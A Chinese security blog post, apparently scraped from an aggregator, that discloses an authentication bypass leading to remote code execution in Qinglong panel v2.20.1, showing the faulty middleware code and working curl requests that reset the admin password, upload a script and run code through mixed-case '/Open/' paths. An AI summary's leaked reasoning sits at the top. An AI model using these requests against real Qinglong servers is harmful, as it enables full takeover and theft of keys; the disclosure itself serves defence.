青龙面板最新版v2.20.1 鉴权绕过致RCE漏洞
好,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户给的是一篇关于青龙项目中发现的严重鉴权绕过漏洞的文章。 首先,我得通读整篇文章,抓住关键点。文章提到攻击者可以绕过所有鉴权检查,重置管理员密码,上传任意文件,执行任意代码,完全控制系统。漏洞类型包括鉴权绕过、远程代码执行和权限提升。风险等级极高,CVSS评分9.8。 接下来,漏洞的位置在/back/loaders/express.ts的第54行,函数是鉴权中间件。问题代码是大小写敏感的问题,导致攻击者可以通过不同的大小写路径绕过鉴权。 漏洞验证部分展示了攻击者如何成功重置密码、上传文件和执行代码。攻击链包括密码重置、文件上传和代码执行,最终完全接管系统。 影响方面,系统完全沦陷,数据泄露,服务中断。业务上任务管理系统被控制,敏感信息泄露,内网成为跳板。 现在我需要把这些信息浓缩到100字以内。要突出漏洞的严重性、影响范围和根本原因。 可能的结构:青龙项目发现严重漏洞→攻击者可绕过鉴权→重置密码、上传文件、执行代码→系统完全控制→漏洞原因:大小写敏感问题→影响极大。 确保用简洁的语言表达这些要点。 </think> 青龙项目中发现严重鉴权绕过漏洞,攻击者无需令牌即可绕过所有鉴权检查、重置管理员密码、上传任意文件并执行任意代码(RCE),完全控制系统。漏洞源于大小写敏感问题和路由不一致。风险极高(CVSS 9.8),影响范围广。 2026-3-1 15:24:34 Author: blog.upx8.com(查看原文) 阅读量:5 收藏

在青龙(qinglong)项目中发现了一个严重的鉴权绕过漏洞,攻击者可以在无需任何令牌的情况下:

  1. 绕过所有鉴权检查
  2. 重置管理员密码
  3. 上传任意文件
  4. 执行任意代码(RCE)
  5. 完全控制系统

青龙面板最新版v2.20.1 鉴权绕过致RCE漏洞

漏洞详情

漏洞类型

  • 鉴权绕过 (CWE-285)
  • 远程代码执行 (CWE-94)
  • 权限提升 (CWE-250)

风险等级

  • 严重程度极高 (Critical)
  • CVSS评分9.8/10
  • 可利用性极易
  • 影响范围完整系统控制

漏洞位置

  • 文件/back/loaders/express.ts
  • 行号: 第54行
  • 函数: 鉴权中间件

根本原因

问题代码

// /back/loaders/express.ts:54
if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
  return next();
}

关键缺陷

  1. 大小写敏感漏洞req.path.startsWith('/open/') 只匹配小写,但Express路由不区分大小写
  2. 重写规则不一致app.use(rewrite('/open/*', '/api/$1')) 的pattern匹配与鉴权检查不同步
  3. 路径解析差异: Express在不同阶段对路径处理存在不一致

漏洞验证

实际测试结果

1. 管理员密码重置绕过

# 无需token的密码重置 - 成功!
curl -X PUT -H "Content-Type: application/json" \
  -d '{"password":"pwned123","username":"admin"}' \
  "http://localhost:5700/Open/system/auth/reset"

# 响应: {"code":200,"message":"更新成功"}

2. 任意文件上传绕过

# 上传恶意脚本 - 成功!
curl -X POST -H "Content-Type: application/json" \
  -d '{"filename":"rce.sh","content":"#!/bin/bash\nwhoami > /tmp/pwned.txt"}' \
  "http://localhost:5700/Open/scripts" 

# 响应: {"code":200}

3. 远程代码执行

# 执行恶意代码 - 成功!
curl -X PUT -H "Content-Type: application/json" \
  -d '{"filename":"rce.js","content":"console.log(\"RCE SUCCESS!\")"}' \
  "http://localhost:5700/Open/scripts/run"

# 响应: {"code":200,"data":24844}  <- 返回进程PID

绕过路径列表

  • /Open/ (首字母大写)
  • /OPEN/ (全大写)
  • /oPeN/ (混合大小写)
  • /OpEn/ (其他组合)

攻击场景

攻击链1: 完全系统接管

  1. 密码重置 → 获得管理员权限
  2. 文件上传 → 部署后门
  3. 代码执行 → 完全控制系统

攻击链2: 内网渗透

  1. 信息收集 → 获取系统信息
  2. 权限维持 → 植入持久化后门
  3. 横向移动 → 攻击内网其他系统

影响评估

直接影响

  • 系统完全沦陷: 攻击者获得root级别权限
  • 数据完全暴露: 所有任务、配置、密钥泄露
  • 服务完全中断: 系统可被恶意控制或破坏

业务影响

  • 任务管理系统被控制: 攻击者可修改、删除关键定时任务
  • 敏感信息泄露: 环境变量、API密钥、数据库凭证
  • 内网成为跳板: 青龙通常部署在内网,成为横向攻击入口

文章来源: https://blog.upx8.com/v2-20-1-RCE
如有侵权请联系:admin#unsafe.sh